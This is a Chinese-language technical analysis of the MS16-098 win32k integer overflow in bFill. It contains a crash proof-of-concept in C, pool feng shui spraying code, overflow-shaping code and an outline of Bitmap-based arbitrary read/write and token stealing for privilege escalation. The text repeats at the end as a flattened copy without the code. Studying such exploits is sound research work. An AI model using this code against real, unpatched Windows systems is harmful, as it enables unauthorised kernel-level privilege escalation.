MS16-098-整数溢出与pool feng shui
字数 1271 2025-08-26 22:11:39

MS16-098漏洞分析与利用技术详解

漏洞概述

MS16-098是Windows图形设备接口(GDI)中的一个整数溢出漏洞,最终导致池溢出。该漏洞存在于win32k.sys的bFill函数中,通过精心构造的输入可以触发整数溢出,进而引发池内存破坏,最终实现权限提升。

漏洞成因

关键漏洞点

漏洞的核心在于bFill函数中的整数溢出问题:

lea ecx, [rax+rax*2]  ; rax*3的结果存入ecx

这里rax是用户可控的值,当rax足够大时(如0x55555557),rax*3的结果会溢出32位寄存器,导致ecx只保留低32位结果(0x5)。随后PALLOCMEM2分配空间时只分配(0x5 << 4) = 0x50字节的空间。

溢出机制

bConstructGET函数会根据条件将point信息复制到申请的空间中,而此时分配的空间(0x50)远小于实际需要的大小,造成缓冲区溢出。在释放时会检测内存池中相邻块的头部,而溢出覆盖了相邻块头部导致crash。

漏洞验证

POC代码分析

#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>

int main(int argc, char *argv[]) {
    static POINT points[0x3fe01];
    points[0].x = 0x22;
    points[0].y = 0x33;
    
    HDC hdc = GetDC(NULL);
    HDC hMemDC = CreateCompatibleDC(hdc);
    HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
    HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
    
    BeginPath(hMemDC);
    for(int j = 0; j < 0x156; j++) {
        PolylineTo(hMemDC, points, 0x3FE01);
    }
    EndPath(hMemDC);
    FillPath(hMemDC);
    return 0;
}

崩溃分析

运行POC后系统崩溃,调用栈显示在win32k!bFill+0x63e处free pool时引起crash:

00 fffff800`84be60ba : 00000000`00000000 00000000`00000000 ffffd001`893163a0 fffff800`84a2b06c : nt!DbgBreakPointWithStatus
01 fffff800`84be59cb : 00000000`00000003 00000000`00000020 fffff800`84b5f980 00000000`00000019 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`84b51aa4 : fffff901`401ef2e0 00000000`00000000 00000000`00000000 00000001`00000000 : nt!KeBugCheck2+0x8ab
03 fffff800`84ca605e : 00000000`00000019 00000000`00000020 fffff901`401ef2e0 fffff901`401ef340 : nt!KeBugCheckEx+0x104
04 fffff960`00245e7e : ffffd001`89317360 fffff901`401ef2f0 00000000`00000001 00000000`00000006 : nt!ExDeferredFreePool+0x7ee
05 fffff960`002137e1 : fffff900`00002000 00000000`00000080 00000000`00000001 ffffd001`849a4c10 : win32k!bFill+0x63e

利用技术

利用思路

  1. 整数溢出导致池分配过小
  2. 缓冲区溢出覆盖相邻Bitmap对象
  3. 修改Bitmap对象的sizlBitmap字段扩大读写范围
  4. 通过Bitmap对象实现任意地址读写
  5. 窃取system token完成提权

关键数据结构

SURFOBJ结构(Bitmap对象的核心结构):

typedef struct {
    ULONG64 dhsurf;         // 0x00
    ULONG64 hsurf;          // 0x08
    ULONG64 dhpdev;         // 0x10
    ULONG64 hdev;           // 0x18
    SIZEL sizlBitmap;       // 0x20
    ULONG64 cjBits;         // 0x28
    ULONG64 pvBits;         // 0x30
    ULONG64 pvScan0;        // 0x38
    ULONG32 lDelta;         // 0x40
    ULONG32 iUniq;          // 0x44
    ULONG32 iBitmapFormat;  // 0x48
    USHORT iType;           // 0x4C
    USHORT fjBitmap;        // 0x4E
} SURFOBJ64;  // sizeof = 0x50

内存布局策略

目标内存布局:

| region | Bitmap0 | PALLOCMEM |
| region | Bitmap1 | region |

关键点:

  1. 将PALLOCMEM分配的对象放置到页尾部(避免检测相邻块头部)
  2. 在bFill执行前预先在页尾部制造空洞
  3. 通过堆喷控制Bitmap对象位置

堆风水实现

void fengshui() {
    HBITMAP bmp;
    for(int k = 0; k < 5000; k++) {
        bmp = CreateBitmap(1670, 2, 1, 8, NULL);
        INT64 bmpAddr = getBitMapAddr(bmp);
        bitmaps[k] = bmp;
    }
    
    // 创建加速表对象占位
    HACCEL hAccel, hAccel2;
    LPACCEL lpAccel;
    lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
    SecureZeroMemory(lpAccel, sizeof(ACCEL));
    HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
    HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
    
    for(INT i = 0; i < 7000; i++) {
        hAccel = CreateAcceleratorTableA(lpAccel, 1);
        hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
        pAccels[i] = hAccel;
        pAccels2[i] = hAccel2;
    }
    
    // 释放并重新布局
    for(int k = 0; k < 5000; k++) DeleteObject(bitmaps[k]);
    for(int k = 0; k < 5000; k++) CreateEllipticRgn(0x79, 0x79, 1, 1);
    for(int k = 0; k < 5000; k++) {
        bmp = CreateBitmap(0x52, 1, 1, 32, NULL);
        bitmaps[k] = bmp;
    }
    
    // 填补内存空洞
    for(int k = 0; k < 1700; k++) AllocateClipBoard2(0x30);
    
    // 释放加速表制造空洞
    for(int k = 2000; k < 4000; k++) {
        DestroyAcceleratorTable(pAccels[k]);
        DestroyAcceleratorTable(pAccels2[k]);
    }
}

溢出控制技术

通过精心构造的points数组控制溢出:

static POINT points[0x3fe01];
for(int l = 0; l < 0x3FE00; l++) {
    points[l].x = 0x5a1f;
    points[l].y = 0x5a1f;
}
points[2].y = 20;
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;

for(int j = 0; j < 0x156; j++) {
    if(j > 0x1F && points[2].y != 0x5a1f) 
        points[2].y = 0x5a1f;
    PolylineTo(hMemDC, points, 0x3FE01);
}

关键点:

  1. 计算PALLOCMEM2到Bitmap0.sizlBitmap的偏移(0xc58)
  2. 控制AddEdgeToGET函数的点添加逻辑
  3. 通过points[2].y控制点的添加条件

任意地址读写实现

  1. 溢出修改Bitmap0的sizlBitmap为0xffffffff
  2. 通过Bitmap0读写Bitmap1的SURFOBJ结构
  3. 修改Bitmap1的pvScan0指向目标地址
  4. 使用SetBitmapBits/GetBitmapBits进行任意读写

技术难点与解决方案

  1. 池头部破坏导致崩溃

    • 解决方案:将溢出对象放置在页尾部,避免检测下一页的头部
  2. 溢出数据不可控

    • 解决方案:通过精心构造points数组控制溢出内容和位置
  3. 精确内存布局

    • 解决方案:使用堆风水技术精确控制对象位置
  4. 利用稳定性

    • 解决方案:修复被破坏的头部结构,维持系统稳定运行

总结

MS16-098漏洞展示了从整数溢出到完整权限提升的完整利用链,关键技术点包括:

  1. 整数溢出转换为缓冲区溢出
  2. 精确的堆内存布局控制
  3. Bitmap对象在利用中的关键作用
  4. 任意地址读写技术的实现
  5. 通过修改token完成提权

该漏洞利用过程复杂但思路清晰,是研究Windows内核漏洞利用的经典案例。

MS16-098漏洞分析与利用技术详解 漏洞概述 MS16-098是Windows图形设备接口(GDI)中的一个整数溢出漏洞,最终导致池溢出。该漏洞存在于win32k.sys的bFill函数中,通过精心构造的输入可以触发整数溢出,进而引发池内存破坏,最终实现权限提升。 漏洞成因 关键漏洞点 漏洞的核心在于bFill函数中的整数溢出问题: 这里rax是用户可控的值,当rax足够大时(如0x55555557),rax* 3的结果会溢出32位寄存器,导致ecx只保留低32位结果(0x5)。随后PALLOCMEM2分配空间时只分配 (0x5 << 4) = 0x50 字节的空间。 溢出机制 bConstructGET函数会根据条件将point信息复制到申请的空间中,而此时分配的空间(0x50)远小于实际需要的大小,造成缓冲区溢出。在释放时会检测内存池中相邻块的头部,而溢出覆盖了相邻块头部导致crash。 漏洞验证 POC代码分析 崩溃分析 运行POC后系统崩溃,调用栈显示在win32k !bFill+0x63e处free pool时引起crash: 利用技术 利用思路 整数溢出导致池分配过小 缓冲区溢出覆盖相邻Bitmap对象 修改Bitmap对象的sizlBitmap字段扩大读写范围 通过Bitmap对象实现任意地址读写 窃取system token完成提权 关键数据结构 SURFOBJ结构(Bitmap对象的核心结构): 内存布局策略 目标内存布局: 关键点: 将PALLOCMEM分配的对象放置到页尾部(避免检测相邻块头部) 在bFill执行前预先在页尾部制造空洞 通过堆喷控制Bitmap对象位置 堆风水实现 溢出控制技术 通过精心构造的points数组控制溢出: 关键点: 计算PALLOCMEM2到Bitmap0.sizlBitmap的偏移(0xc58) 控制AddEdgeToGET函数的点添加逻辑 通过points[ 2 ].y控制点的添加条件 任意地址读写实现 溢出修改Bitmap0的sizlBitmap为0xffffffff 通过Bitmap0读写Bitmap1的SURFOBJ结构 修改Bitmap1的pvScan0指向目标地址 使用SetBitmapBits/GetBitmapBits进行任意读写 技术难点与解决方案 池头部破坏导致崩溃 : 解决方案:将溢出对象放置在页尾部,避免检测下一页的头部 溢出数据不可控 : 解决方案:通过精心构造points数组控制溢出内容和位置 精确内存布局 : 解决方案:使用堆风水技术精确控制对象位置 利用稳定性 : 解决方案:修复被破坏的头部结构,维持系统稳定运行 总结 MS16-098漏洞展示了从整数溢出到完整权限提升的完整利用链,关键技术点包括: 整数溢出转换为缓冲区溢出 精确的堆内存布局控制 Bitmap对象在利用中的关键作用 任意地址读写技术的实现 通过修改token完成提权 该漏洞利用过程复杂但思路清晰,是研究Windows内核漏洞利用的经典案例。